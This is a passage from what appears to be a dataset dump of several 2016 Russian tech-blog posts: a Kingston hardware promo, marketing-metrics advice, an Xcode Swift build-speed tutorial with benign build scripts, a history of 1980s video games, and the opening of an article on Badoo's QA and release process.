Модули оперативной памяти Kingston DDR4 суммарным объёмом 16 Гбайт. Kingston — потому что недорогой и эффективно, 16 «тонн» — потому что игры уже начали преодолевать планку в 8 Гбайт (только на саму игру), дальше будет хуже.
Оперативная память должна быть надёжной, располагать высокой частотой и низкими задержками. Ну, вы поняли... Будет достаточно качественного блока питания на 550 Вт, чтобы питать всё это добро — не гонитесь за запредельными цифрами на коробке. Сверхмощные системы охлаждения процессора тоже не понадобятся.
Если вы уравновешенный пользователь ПК и не начинаете тосковать за время загрузки уровней в играх — покупайте накопитель Kingston UV400 для системного диска и HDD от терабайта и больше в качестве «склада» для игр. Если хочется, чтобы пара игр меньше действовали на нервы и быстрее загружались — есть смысл раскошелиться на HyperX Savage ёмкостью хотя бы 240 Гбайт.
Соль, перец по вкусу. Выбор остальных комплектующих не столь судьбоносен для игрового ПК.
Дамы и господа, капитан Очевидность рапортует, что «Новый год к нам мчится — скоро всё случится». Огромное спасибо всем, кто нас читает и комментирует! А чтобы компьютер в новом году принёс больше радости, чем в старом, мы приготовили скидки на железо и аксессуары Kingston/HyperX. В главных ролях:
— скидка в размере 12% на память DDR4 Predator в сети Юлмарт . Вооружаетесь промо кодом GEEKPR16 — и до 31 декабря 2016 года получаете возможность купить флагманскую «оперативку» дешевле.
— хотите ещё дешевле? Не пропустите скидку в 10% на оперативную память Savage DDR3/DDR4 и твердотельные накопители HyperX Savage. Промокоду SAVAGE16 в сети Юлмарт действует до 28 декабря 2016 года.
— память ещё дешевле даже там, где она изначально недорогая. С промокодом KING16 в сети Юлмарт до 28 декабря скидка 10% на ОЗУ Kingston ValueRAM!
— улучшать в компьютере в новом году стоит не только лишь всё, поэтому мы также приготовили скидку в размере 500 рублей на игровые гарнитуры HyperX Cloud Stinger и Cloud Drone в сети DNS. Успейте до 25 декабря !
— покупатели HyperX CloudX в Юлмарт получат золотой статус Xbox Live Gold на три месяца.
— и, наконец, для эффективной борьбы с теми, кто не прав в интернете или пытается одолеть вас в сетевой игре, предлагаем скидку в 1500 рублей на игровые механические клавиатуры HyperX Alloy в сети DNS! Акция распространяется на модели с переключателями Cherry MX Blue/Red/Brown актуальна до 25 декабря .
С наступающим всех! Подписывайтесь и оставайтесь с нами — будет интересно!
Для получения дополнительной информации о продукции Kingston и HyperX обращайтесь на официальный сайт компании . В выборе своего комплекта HyperX поможет страничка с наглядным пособием . | https://geektimes.ru/company/kingston_technology/blog/283722/ |
habrahabr | Golden Axe — видео-рассказ про все порты первой части, плюс кратенько — про все остальные | ['старые игры', 'компьютерные игры', 'Golden Axe', 'old-hard'] | Первый Golden Axe был портирован на огромное количество платформ. Sega Mega Drive, Amiga, Commodore 64, ZX Spectrum… Список можно продолжать вечно. Но зачем рассказывать, если можно показывать?
| Первый Golden Axe был портирован на огромное количество платформ. Sega Mega Drive, Amiga, Commodore 64, ZX Spectrum… Список можно продолжать вечно. Но зачем рассказывать, если можно показывать? | https://geektimes.ru/post/283770/ |
habrahabr | Инструкция: Как выбрать правильные показатели для мониторинга и оптимизации, чтобы IT бизнесу расти быстрее | ['маркетинг'] |
В любом прибыльном проекте можно найти пару тысяч метрик для мониторинга, только вот зачем. Полная инструкция по выбору рабочих метрик от сервиса по управлению маркетинговыми задачами на основе... |
В любом прибыльном проекте можно найти пару тысяч метрик для мониторинга, только вот зачем. Полная инструкция по выбору рабочих метрик от сервиса по управлению маркетинговыми задачами на основе данных – hopox.
Давайте попытаемся создать dashboard (пульт управления) из метрик проекта, которые позволять принимать правильные маркетинговые решения на основе данных.
Такой пульт можно создать в Google Analytics, Dasheroo, Klipfolio, и т.д. но эффективнее в hopox, потому что только тут метриками можно не только любоваться, но и управлять, привязывая к ним реальные действия и гипотезы роста.
Итак, нам необходимо из тысячи метрик выбрать несколько десятков показателей, которые будут: всегда под рукой,
определять — движемся мы к цели или нет,
показывать, куда надо приложить усилия команды, чтобы обеспечить рост всего бизнеса.
Рассмотрим несколько способов: 1/ Выгрузка сырых данных
Для начала можно подключить различные маркетинговые инструменты и выгрузить те данные, которые они дают. Например, данные по Google Analyics: Все пользователи, Новые пользователи, Достижения по цели, Конверсия цели. А также статистика переходов по каналам: Платная реклама, Социальные Сети, Органические переходы, Переходы с писем. Затем можно подключить, например, Facebook Ads и выгрузить Охват, Клики, Показы, Уникальные показы, Потраченная сумма, Цена за клик, и т д. Также мы можем выгрузить сырые данные из Яндекс Директ, Google Adwords и так далее.
Часто этого достаточно, чтобы понимать, что происходит и уже начинать принимать решения на основе данных. Видеть аналитические данные в одном месте куда лучше, чем не видеть их вовсе. Однако совсем скоро появится желание как-то систематизировать все это. 2/ Группировка по воронке AAARRRR
Воронка AAARRRR отслеживает каждый значимый этап жизни клиента, а именно Информирование, Привлечение, Активация, Удержание, Виральность, Доходность и Воскрешение.
В идеале каждый канал стоит представить в виде этой воронки и попытаться как можно глубже в рамках воронки проанализировать поведение пользователей.
Для этого придется скрещивать несколько источников данных, например, Информирование в Facebook Ads это Охват, Привлечение это Клики, далее можно по UTM-метки ловить переходы в Google Analytics и считать Лиды, что по воронке AAARRRR — Активация.
При желании можно и дальше продлить воронку и посчитать доход с помощью Google Analytics For Ecommerce, виральность с помощью Последовательностей.
Данный метод хорошо подходит, когда бизнес знает, как зарабатывать и накачивает деньгами каналы привлечения. 3/ Разработка Плана измерений (Measurement Plan)
Разработка Плана измерений важна для развития уже успешных проектов, для которых каналы привлечения уже пройденный этап. Рекомендую представить его структуру в виде пирамиды.
Во главе — цель бизнеса, затем идут ключевые показатели достижения цели, ниже, метрики, которые могут повлиять на ключевые показатели, затем разделение по сегментам пользователей. Давайте на примере интернет-магазина создадим план измерений.
Итак, какие цели может преследовать интернет-магазин? Во-первых, это увеличение продаж, затем, например, работа с брендом в соц. сетях и улучшение удержания. Выпишем их в таблицу.
Мы определили три цели бизнеса, над которыми будем работать. Теперь надо задать KPI для каждого направления. Для роста это может быть рост клиентской базы и увеличение прибыли. Для работы с брендом с соц. сетях количество подписчиком и переходы из соц сетей. А для увеличения удержания: удержание 7 дня и повторные продажи.
Эти показатели будут определять, приближаемся мы к цели или нет. Далее надо добавить все метрики, от которых могут зависеть ключевые показатели эффективности.
Таких метрик может быть пару десятков для каждой цели. И последний уровень показателей: сегменты пользователей. Очень важно сегментировать аудиторию и работать с каждым сегментом отдельно. Какие могут быть сегменты пользователей в нашем случае? Выпишем в таблицу.
Подобная матрица показателей обеспечит всю команду актуальной информацией: куда движется проект и где сейчас слабые места, над которыми стоит работать.
Минутка рекламы: hopox поможет навести порядок в маркетинге , собрать показатели проекта в одном месте и связать действия команды с показателями. Регистрируйтесь и все описанное в статье станет реальностью. | https://habrahabr.ru/company/hopox/blog/317722/ |
habrahabr | Разгоняем сборку Swift проекта в Xcode | ['ios', 'xcode', 'swift'] |
Статья о том как починить инкрементальную компиляцию в Xcode для Swift проектов и ускорить build phases для Cocoapods и Carthage, ничего не поломав.
Небольшой спойлер: на трех разных проектах... |
Статья о том как починить инкрементальную компиляцию в Xcode для Swift проектов и ускорить build phases для Cocoapods и Carthage, ничего не поломав. Небольшой спойлер: на трех разных проектах получилось сократить время инкрементальной сборки в 9 раз! Туториал несет сугубо практический характер с минимумом воды. Обязательно к прочтению для действующих iOS разработчиков. Проблема У нас в компании ведется несколько параллельных проектов на Swift и, практически, везде была сложность с последовательной сборкой. На каждый повторный 'Run' уходило от 30 до 50 секунд. Минуту пишется код, пол минуты ждешь пока соберется проект. Успеваешь сходить за чаем, покурить, посчитать налоги и иногда вздремнуть. Однозначно надо было что-то менять. В предыдущих моих статьях, где описываются актуальные проблемы компилятора и способы их решения, мы смогли добиться определенных успехов. Тем не менее, это не устранило трудности с инкрементальной компиляцией, которая съедала большую часть времени, постоянно выбивая своей медлительностью из рабочего процесса. Уверен, каждый с этим сталкивается регулярно, приняв как часть рабочего процесса. Но мы не стали с этим мириться, решив расследовать все обстоятельства дела и в итоге получив неплохой результат. О чем и буду рад рассказать. P.S. Картинка в шапке не означает, что мы 'вертели' Xcode. Это его якобы так ускоряем. Инкрементальная компиляция Если кто не знаком с термином — это способ сборки только изменившихся мест кода без тотальной рекомпиляции всего проекта. А еще это то, что нормально не работает в Xcode. В прошлом посте товарищ Gxost подсказал идею , которая на некоторое время решила проблему. Мы уже начали открывать шампанское всей командой и вешать портрет императора избавителя на стену, но, к сожалению, в этот момент проблема возобновилась. Судя по всему, мы не одни такие. О рецидивах пишут и на StackOverflow под ответом, а так же в исходной теме на форумах Apple. Это ни в коем случае не палка в огород. Даже наоборот — благодарность, все это подтолкнуло продолжить копать. Если хоть и временно, но проблема была решена, то значит истина где-то рядом. Что вообще такое этот header map для которого мы ставим флаг по рекомендации Apple?
Немного веб-археологии по документации яблока: Header maps (also known as “header maps”) are files Xcode uses to compile the locations of the headers used in a target. Своими словами, header maps — это индексный файл Xcode с местоположениями хидеров проекта. Файл о всех хидерах, которые мы используем. Так как я обещал не погружаться слишком глубоко в теорию, то вот отличная статья на эту тему. Легко читается, крайне рекомендую. Главное, что нечто в этих header maps(или то, что их использует) провоцирует недобросовестную работу инкрементальной компиляции. Если мы нашли такую техническую опухоль, то давайте поступим без полумер и просто их отключим. Заходим в build settings и убираем лишние детали выставляем существующий флаг USE_HEADER_MAPS в NO : Теперь нам надо компенсировать потерянный функционал и вручную добавить расположение всех хидеров проекта. Никуда не уходим из настроек и руками прописываем пути до папок с заголовками в поле 'user header search paths': В Swift проекте их должно быть мало, только ваши кастомные Obj-C вещи. Опять делаем полный clean и пробуем завести проект. Если влетели в следующую ошибку то значит вы просто забыли упомянуть путь до одного или нескольких заголовочных файлов. После их исправления все должно собраться без осложнений, так как кроме этого мы никаких изменений не вносили. В качестве бонуса отметим, что инкрементальная компиляция работает наилучшим образом при выключенном whole-module-optimization(WMO) о котором мы говорили в прошлый раз . Это не значит, что для полномодульной оптимизациии решение не работает, просто без нее все проходит на несколько секунд быстрее. Пускай при этом сборки с чистого листа и тянутся целую вечность.
Здесь уже каждый сам для себя решает, что ему удобнее, быстрее и лучше подходит. Если вы решили отказаться от WMO, то достаточно убрать флаг SWIFT_WHOLE_MODULE_OPTIMIZATION из настроек проекта, каких-либо сложностей возникнуть точно не должно. Результат : инкрементальную компиляцию мы успешно починили. Отныне должно тратиться не более нескольких секунд на сам факт сборки Swift, не считая codesign, линковки и различных build scripts(о них мы поговорим ниже). Внутри компании мы проверили этот метод на трех разных проектах, нескольких версия OSX и вообще множестве конфигурациях в целом, что в том числе относится и к Xcode. И вот уже продолжительное время рецидивов не наблюдаем. Разгон Cocoapods и Carthage Наверное, многие замечали, что кроме самой компиляции еще много времени уходит на разные 'shell scripts': При использовании cocoapods и/или carthage их даже несколько. На их выполнение уходит от 3 до 10 секунд каждый раз в зависимости от скорости вашего диска, процессора и положения звезд на небе. Cocoapods прописывает себя туда автоматически, а для Carthage приходится это делать вручную .
Немного изучив контент, мы выяснили, что эти скрипты занимаются ничем другим как копированием своих ресурсов в сборочную директорию проекта. При этом они не заботятся о том были уже скопированы этих файлы или нет. Хотя, гораздо логичнее было бы проверять наличие нужных ресурсов перед их повторным копированием. Что мы и сделаем. Начнем с Carthage. Вдохновением для этого решения послужил недооцененный ответ на StackOverflow , где приняли и покрыли лайками одноразовый костыль. Кстати, если вы вдруг решите воспользоваться одобренным решением, то поймаете дикие и горячие ошибки в Runtime стоит вам сделать полный clean. Мы так поступать не будем, поэтому пойдем по правильному пути и видоизменим наш Copy Carthage Frameworks build phase: FILE="${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}/Carthage-Installation-Flag"
if [ -f "$FILE" ]; then
exit 0
fi
touch "$FILE"
/usr/local/bin/carthage copy-frameworks Этот скрипт дополнительно копирует вместе с ресурсами еще один пустой файлик, который служит маяком, что операция прошла успешно. Он не занимает места, не дает побочных эффектов и разрешен детям с 3-х лет . В следующий раз, когда скрипт будет запущен, он сначала проверит наличие этого файла, и если файл есть, то операция автоматически завершится без лишних телодвижений. Для уверенности, скриншот результата, который у нас должен получиться: Важно! Если вы решите добавить или удалить зависимость из Carthage, то перед сборкой проекта обязательно нужно провести полный clean. Иначе скрипт так и будет считать, что он уже все давно установил. А вы будете в поте лица пытаться найти объяснение происходящему. Кстати, найти функцию clean можно в меню по пути Product → Clean. Если еще зажать option(alt), то можно сделать особый clean, который к тому же изгоняет демонов из проекта удаляет различные локальные настройки, кеш и часто дающую сбой прочую ерунду. Теперь Cocoapods Для бобов принцип тот же самый, но так как скрипты генерируются автоматически, придется добавить немного магии в Podfile. Чтобы это сделать, докинем следующие строки в самый конец файла: post_install do |installer|
Dir.glob(installer.sandbox.target_support_files_root + "Pods-*/*.sh").each do |script|
flag_name = File.basename(script, ".sh") + "-Installation-Flag"
folder = "${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}"
file = File.join(folder, flag_name)
content = File.read(script)
content.gsub!(/set -e/, "set -e\nKG_FILE=\"#{file}\"\nif [ -f \"$KG_FILE\" ]; then exit 0; fi\nmkdir -p \"#{folder}\"\ntouch \"$KG_FILE\"")
File.write(script, content)
end
end Принцип работы этого скрипта такой же: он добавляет в скрипты копирования ресурсов проверку на файл-флаг. При этом не меняет build phases, в отличие от Carthage, а сразу изменяет сам скрипт cocoapods. Кстати , если у вас уже был задействован блок post_install, то не надо создавать еще один, достаточно поместить скрипт внутрь уже имеющегося. Последние версии Cocoapods(1.1.1) выводят предупреждение, если вы напортачите, а вот более ранние просто молча проглотят ошибку, обеспечив вам веселую отладку. Теперь можно сделать ' pod install ', чтобы изменения вступили в силу. Как и в случае с Carthage, при редактировании Podfile, тоже нужен полный clean проекта перед запуском. P.S. Ruby не мой родной язык, попридержите тапки. Заключение Таким образом, у нас получилось сократить время сборки проекта с 45-и секунд до 5-и. Чуть не забыл пруфы. Время сборки до: Скриншот взят из видео к прошлой статье. Время сборки после: На мой взгляд, крайне значимый результат. Подход с сокращением издержек должен обязательно стоять на вооружении каждой компании и разработчика. Уверен, что среди вас найдутся люди с опытом оптимизации Xcode, готовые дополнить и поделиться мыслями. Да и вообще, хотелось бы в комментариях видеть вопросы, чтобы в следующих своих статьях упоминал вас, ваш опыт, опыт ваших коллег и освещал тематику, т.к. для меня это хобби, жизнь и работа. Напоследок поделюсь утилитой, которой я пользовался для измерения времени компиляции методов: https://github.com/RobertGummesson/BuildTimeAnalyzer-for-Xcode
Показывает индивидуально каждую функцию и суммарное время затраченное на её сборку. | https://habrahabr.ru/post/317650/ |
habrahabr | Самые популярные игры своего времени, часть 2: 1980-е годы | ['Pac-Man', 'super mario bros', 'myst', 'sims', 'Activision'] | В первой части цикла о самых популярных играх своего времени мы поговорили о таких хитах, как Pong, первой гоночной игре Astro Race, дедушке «танчиков» на Dendy — аркадном автомате Tank, о... | В первой части цикла о самых популярных играх своего времени мы поговорили о таких хитах, как Pong, первой гоночной игре Astro Race, дедушке «танчиков» на Dendy — аркадном автомате Tank, о космической стрелялке Space Invaders и обучающей Oregon Trail.
Настало время 1980-х годов, когда на сцену вышли новые приставки, спасшие индустрию игровых консолей от кризиса, а с ними – масса интересных игр. Говорим о Super Mario, Megaman, Pac Man, Prince of Persia и других играх. И о «Тетрисе», конечно. В 1980-е реклама в индустрии видеоигр была агрессивной Pac-Man
В 1980 году японская компания Namco начинает продавать игровой автомат PUCK MAN. Позже он выходит в США под названием Pac-Man. На английском PUCK сразу бы переделали в другое слово.
Никакого насилия, как в популярных играх 1970-х годов. Только призраки и вишенки. Теперь аркадный автомат подходил и для детей. Разработчик Тору Иватани как раз рассчитывал на расширение аудитории. Игру портировали и на домашние игровые приставки, например, на Atari 2600. Над игрой Иватани работал полтора года.
Автомат Pac-Man был продан в количестве 350 000 экземпляров, появились различные подделки и игры, просто похожие на гонки в лабиринте. Даже следующая в списке игра – Donkey Kong от Nintendo – представляет собой лабиринт, хотя и относится, скорее, к платформерам.
В 2015 году был снят фильм «Пиксели», в котором трёхмерный Pac-Man вместе с другими персонажами старых игр нападал на Землю.
Хотите поиграть? Заходите, например, в Google сюда . Можно случайно убить час времени, наслаждаясь прекрасным классическим восьмибитным саундтреком. Donkey-Kong
В 1981 году выходит одна из первых игр в жанре платформера — Donkey Kong от Nintendo. Здесь впервые появляется Mario. Хотя его звали Jumpman. И он был не сантехником, а плотником. Но это всё равно тот самый Mario. В игре нужно спасти свою подружку от злодея, огромной обезьяны. В играх до этого момента ещё не было избитого сюжета со спасением девушки из беды .
Игру с аркадного автомата портировали на игровые приставки и компьютеры. Сама франшиза разделилась на две — были и продолжения про Donkey Kong, и одна из самых продаваемых за всю историю линеек игр про Super Mario.
Интересно, что с самого начала в игре должен был быть моряк Попай , а принцессой должна была выступить Олив. Только с Disney договориться не удалось, поэтому придумали других персонажей. Спустя год после выпуска игры студия Disney изменила своё решение, так как увидела успех идеи, и на свет появился аркадный автомат Popeye. Pitfall!
В 1982 году Toshiba выпустила свой первый персональный компьютер T100, была основана компания-издатель игр Electronic Arts, а в СССР начали выпуск компьютеров ДВК. Для этой статьи самое интересное событие — это Pitfall!, игра от Activision, которую часто называют первым платформером.
Здесь было всё: аллигаторы, через пасти которых надо было прыгать, когда они закрыты, лианы, с помощью которых можно было перелететь через водоёмы и ямы, катящиеся бочки, подземелье, костры, змеи и лестницы. Всего нужно было преодолеть 255 экранов и собрать все сокровища. Грубо говоря, все последующие платформеры отличаются только сложностью загадок и графикой
Pitfall! продали в количестве четырёх миллионов экземпляров только на Atari 2600. Именно на этой платформе игра стала второй по продажам после Pac-Man. Но кроме этого, Pitfall! портировали на другие игровые приставки – Intellivision и ColecoVision, а также на компьютеры Commodore 64 и машины стандарта MSX. Star Wars
Если в 1983 года доходы индустрии игровых консолей составили 3,2 миллиарда долларов, то к 1985 году они упали до 100 миллионов. То есть в 32 раза. Компании банкротились, люди теряли работу – всё, как всегда в подобных кризисах в любой отрасли. Из кризиса индустрия начала выходить в 1985 году после запуска консолей Atari 7800 и Nintendo Entertainment System.
Из интересных игр того года был шутер Star Wars с трёхмерной цветной векторной графикой. В нём можно было как пострелять по космическим аппаратам противника, так и по другим непонятным объектам. Целью было уничтожение всех Звёзд смерти. Игру сделали по сюжету первой части оригинальной трилогии.
Данные по количеству проданных копий я найти не смог, но в течение нескольких лет игру портировали почти на все возможные игровые платформы того времени: Atari 2600, Colecovision Atari 5200, Amiga, Atari ST, Amstrad CPC, Acorn Electron, BBC Micro, ZX Spectrum, Apple II, Apple Macintosh, Commodore 64, DOS, Nintendo GameCube. Тетрис
6 июня 1984 года Алексей Пажитнов представил «Тетрис», этот синоним компьютерных игр в принципе, одну из самых продаваемых и самых знаменитых игр в истории индустрии. В 2016 году игре исполнилось 32 года, она успела побывать почти на всех игровых платформах, и по мотивам игры собираются снять научно-фантастический фильм .
Название игры происходит от «Тетрамино» (игра с фигурами из четырёх квадратов) и «Теннис». Существует множество версий игры, включая 360-градусные, объёмные и физические – настольные игры.
Права на использование игры в своих аркадных автоматов первой купила Atari. Параллельно Nintendo закупила права для NES и Game Boy. Компанию Tetris Company Пажитнов зарегистрировал только в 1996 году, чтобы начать зарабатывать на своём изобретении.
К 2014 году на мобильные платформы игру установили 425 миллионов раз, продали картриджей для Game Boy в размере 37 миллионов, и кроме этого — ещё 70 миллионов копий игры, не считая нелицензионные устройства. Super Mario Bros.
Игра Super Mario Bros. 2 была продана в количестве 7,5 миллионов штук, третья часть игры — в количестве 17 миллионов. А первую, выпущенную в 1985 году для NES игру Super Mario Bros., продали более 40 миллионов копий.
Персонаж Марио впервые появился под именем Прыгун в игре 1981 году Donkey Kong. Затем он был противником главного героя игры Donkey Kong Jr. Кроме Марио в игре есть его брат Луиджи в зелёном костюме.
Это платформер с плавным скроллингом, огромным количеством препятствий, возможностью биться головой (на самом деле, рукой) о кирпичи с целью доставать монеты и кушать грибы. Игра, с которой у многих из нас ассоциируется детство. На Новый год 1995-1996 года мне, например, подарили Dendy, и именно эта игра была в комплекте.
По Марио в 1993 году выпустили сразу три фильма. Из них один — это «Супербратья Марио» с Бобом Хоскинсом и Джоном Легуизамо в главных ролях, и два – порнографические картины Super Hornio Brothers и Super Hornio Brothers II с Роном Джереми. Это был один порно-фильм, но настолько длинный, что его пришлось делить на части. Nintendo пришлось купить права на фильмы , чтобы их никто и никогда не увидел полностью.
Смотрите, как эту игру рекламировали. В России я подобных роликов не помню. The Legend of Zelda
В 1986 году Nintendo начался выпуск серии игр The Legend of Zelda – и серия продолжается до сих пор, так как игроделам выгодно использовать одну и ту же несущую золотые яйца курицу в течение тридцати лет.
Игровой процесс в The Legend of Zelda смешал в себе экшн со стрельбой и рублей противников в капусту мечом, PRG и головоломки. Здесь нужно вести бои, разгадывать загадки, использовать предметы из инвентаря. Для отвлечения или подкупа монстров можно использовать еду, чтобы увидеть что-то в темноте — свечу. Для защиты персонажа от супостата можно использовать кольца, для усиления ударов — браслеты.
Все игры этой серии продали в количестве свыше 70 миллионов копий. И 6,5 миллионов из них приходится на самую первую игру 1986 года. Metal Gear
Если файтинг — значит Mortal Kombat, Tekken или Street Fighter (моё личное мнение). Из этой троицы первой была игра Street Fighter, выпущенная в 1987 году компанией Capcom для аркадных автоматов. Но популярности и признания первая часть не получила, поэтому и здесь мы будем говорить не о ней, а о Metal Gear. И это не файтинг, конечно.
В истории Konami важное место занимает серия игр Metal Gear, разработанная Хидэо Кодзимой. Первая часть игры дала старт не только серии, но и самому жанру — это один из первых стелс-экшенов в истории.
Главный герой первой части — Солид Снейк. Его задача состоит в уничтожении двуногого танка, который может запускать ядерные ракеты в любую точку планеты. Для выполнения задания необходимо проникнуть в замок. Желательно незаметно. Хотя и убивать здесь можно, причём разным оружием, от пистолета до гранатомёта. Герою помогают другие персонажи с помощью подсказок по радиосвязи.
Хидэо Кодзима до работы в Konami пытался писать рассказы. Но его истории были настолько длинными, что их отказывались принимать. И, наверное, даже не все читали. Свой творческий потенциал Кодзима сумел реализовать в играх, проработанных до мелочей. Этот геймдизайнер заслуживает отдельной статьи, и, судя по опросу , такую статью я скоро напишу. Mega Man 2
Бестселлером 1988 года стала игра Mega Man 2. Nintendo продала полтора миллиона копий этой игры, вошедшей затем в Топ-200 игр от этого производителя.
Главный герой сражается с зловещим Доктором Уайли, который воздвиг замок с ловушками и хочет сделать с миром что-то нехорошее. Чтобы победить злого доктора и его приспешников, вы можете стрелять и прыгать, а также иногда летать и взбираться на стены на специальных платформах — это вспомогательное оборудование для Мегамена разработал Доктор Лайт. Prince of Persia
Первая игра серии Prince of Persia вышла в 1989 году. Но коммерческого успеха она поначалу не имела — для Apple II и IBM PC её продали в количестве семи тысяч штук к июлю 1990 года. Но после того, как игру начали продавать в Японии и Европе, она получила признание среди пользователей. К 1993 году, к выходу второй части, было продано два миллиона копий игры для разных платформ.
Игра совмещала в себе платформер с головоломками, паркуром, бегом и боями на мечах. Графика для своих лет была потрясающая. Действия персонажа разработчик Джордан Мекнер «снял» со своего брата с помощью технологии ротоскопирования. Это мультипликационная техника, при которой отрезок действий персонажа создаётся посредством обрисовки кадров отснятой киноплёнки с реальными актёрами и декорациями.
В серии Prince of Persia не каждая игра имела коммерческий успех. Более того, после первой части Мекнеру не удалось сделать что-то, что бы привлекло огромный интерес со стороны публики. Даже 3D-верия 1999 года была провалом.
Возродили историю паркура Принца Персии в 2003 году. Это сделала Ubisoft совместно с Мекнером. Это уже не платформер, а трёхмерный экшен, хотя и с похожим на оригинал игровым процессом. На этот раз критики встретили игру Prince of Persia достаточно тепло. Настолько, что она попала в несколько рейтингов лучших игр всех времён.
И, конечно, нельзя забывать про фильм 2010 года «Принц Персии: Пески времени» с Джейком Джилленхолом.
1980-е годы для игровой индустрии выдались нелёгкими. Кризис 1983-1985 годов почти поставил крест на консолях, но этого не произошло во многом благодаря Nintendo и Atari. NES и её конкуренты завоевали популярность среди геймеров любого возраста на долгие годы.
В играх появились новые жанры — платформеры и стелс-экшены. Самыми популярными были именно платформеры. Они за несколько лет превратились из Pitfall! с сомнительной графикой в Prince of Persia с реалистичными движениями персонажей. | https://geektimes.ru/post/283264/ |
habrahabr | Как мы уже 4 года выживаем в условиях двух релизов в день | ['тестирование', 'testing', 'контроль качества', 'quality assurance', 'QA', 'release management', 'continuous integration', 'continuous delivery', 'deploy', 'релиз-менеджмент', 'релиз-инжиниринг', 'code review'] |
Здравствуй, Хабр! Сегодня я хочу завершить цикл статей об организации тестирования (начавшийся с изучения ошибок и опыта), рассказав о том, как же все-таки Badoo выпускает два качественных... | Здравствуй, Хабр! Сегодня я хочу завершить цикл статей об организации тестирования (начавшийся с изучения ошибок и опыта ), рассказав о том, как же все-таки Badoo выпускает два качественных серверных релиза каждый день. Кроме пятницы, когда мы релизимся только утром. Не надо релизиться в пятницу вечером.
Я пришел в Badoo чуть более четырех лет назад. Все это время наши процессы и инструменты для тестирования непрестанно развивались и совершенствовались. Для чего? Число разработчиков и тестировщиков увеличилось примерно в два раза — значит, для каждого релиза готовится больше задач. Количество активных и зарегистрированных пользователей тоже удвоилось — а значит, и цена любой нашей ошибки стала выше. Для того чтобы доставлять пользователям максимально качественный продукт, нам нужны всё более и более мощные средства контроля качества, и эта гонка не заканчивается никогда. Цель этой статьи не только продемонстрировать работающий пример, но и показать, что какими бы крутыми ни были ваши процессы контроля качества, наверняка можно сделать их еще лучше . Технические реализации некоторых инструментов вы сможете найти по ссылкам на другие статьи, о некоторых из них нам еще предстоит написать.
В Badoo существует несколько разных QA-флоу, отличие которых обосновано разными средствами разработки и целевыми платформами ( но мы используем для них общие системы: JIRA, TeamCity, Git и т.д. ), и я вам расскажу о процессе тестирования и деплоя наших серверных задач (а заодно и веб-сайта). Его можно условно разделить на 5 больших этапов ( хотя тут, конечно, многие мои коллеги считают по-разному ), каждый из которых включает в себя и ручную, и автоматизированную составляющую. Постараюсь рассказать вам по очереди о каждом из них, отдельно выделяя то, что изменялось и развивалось в последние годы. 1. Code Review Да, не удивляйтесь, это вообще-то тоже этап контроля качества. Он придуман для того, чтобы в боевой код не попадали архитектурные и логические ошибки, а задача никоим образом не нарушала наши стандарты и правила.
Код ревью у нас начинается в автоматическом режиме еще до того, как разработчик «запушит» свой код в общий репозиторий. При попытке сделать git push на принимающей стороне запускаются pre-receive хуки, которые делают огромное количество различных вещей: проверяют имя ветки : каждая ветка в нашем репозитории должна быть привязана к тикету в JIRA, и ключ тикета должен содержаться в названии ветки, например, HABR-1_make_everything_better ;
проверяют комментарии к коммитам : каждый коммит должен в своем описании содержать тот же самый ключ тикета. Это у нас делается автоматически с помощью клиентских хуков, и комменты всегда выглядят как-то так: [HABR-1]: Initial commit ;
проверяют соответствие код-формату : весь код в репозитории должен соответствовать принятому в Badoo стандарту, поэтому каждая измененная строка PHP-кода проверяется утилитой phpcf;
проверяют статусы в JIRA : чтобы в задачу можно было делать коммиты, она должна находиться в определенном статусе: например, нельзя вносить в код задачи изменения, если задача уже «замержена» в релизную ветку;
и многое, многое другое...
Провал любой из этих проверок приводит к запрету на пуш, и разработчику необходимо исправить возникнувшие замечания. Подобных хуков постоянно становится все больше и больше.
А помимо pre-receive хуков у нас есть и растущий пул post-receive хуков, которые выполняют множество операций, автоматизирующих наши процессы: изменяют поля и статусы задач в JIRA, запускают тесты, дают сигналы нашей системе деплоя… В общем, они очень большие молодцы. Если код смог прорваться через все этапы автоматической проверки, то он добирается до ручного code review, который проводится на базе сильно модифицированной нами версии GitPHP . Коллега-разработчик проверяет оптимальность и соответствие решения задачи принятой архитектуре, общую корректность бизнес-логики. На этом же этапе проводится проверка покрытия нового или измененного кода юнит-тестами (задачи, не покрытые тестами в должной мере, ревью не проходят). Если же во время решения задачи был затронут код других отделов, то их представители обязательно присоединятся к ревью.
Прямо в GitPHP ревьюер может делать комментарии к коду — и они все отобразятся в качестве комментариев в соответствующей задаче в JIRA, а QA-инженер сможет проверить исправление всех замечаний при тестировании ( разработчики даже иногда устраивают холивары в этих комментариях, читать — одно удовольствие ). 2. Тестирование на «девеле»
Что такое в нашем понимании «девел-окружение»? Это полноценная платформа, максимально копирующая архитектуру продакшена в меньших масштабах, предназначенная для разработки и тестирования. Девел содержит свои собственные базы данных, собственные копии демонов, сервисов и CLI-скриптов. Он даже разбит на две полностью отдельные площадки для тестирования их взаимодействия: одна находится в московском офисе и эмулирует работу нашего пражского дата-центра, вторая — в лондонском, эмулирует работу дата-центра в Майами.
В рамках девела для каждого разработчика и тестировщика выделена собственная «песочница», куда он может выгружать любую необходимую ему версию кода сервера и которая доступна из нашей внутренней сети по соответствующему URL. Разворачивать каждому разработчику свою собственную песочницу на локальной машине, к сожалению, слишком накладно: Badoo состоит из слишком большого количества различных сервисов и зависит от конкретных версий ПО. 2.1. Автоматическое тестирование ветки
Было бы здорово, если бы сразу же после того, как разработчик закончил работу над задачей, в ней запускались хотя бы интеграционные и юнит-тесты, правда? Сейчас я вам расскажу одну небольшую историю отчаянной борьбы. 2012 год. 15000 тестов. Запускаются в один поток, либо топорно рубятся на несколько равных потоков. Проходят приблизительно минут за 40 (либо абсолютно бесконечно в случае высокой нагрузки серверов), ни о каком автоматическом запуске речи быть и не может. Грустим.
2013 год. 25000 тестов. Никто и не пытается подсчитать, сколько они идут в один поток. Грустим. Но вот мы разрабатываем нашу собственную многопоточную «пускалку» ! Теперь все тесты проходят приблизительно за 5 минут: можно их запускать сразу же по выполнении задачи! Теперь тестировщик, беря задачу в руки, может сразу же оценить ее работоспособность: все результаты прогонов тестов в удобной форме постятся в JIRA.
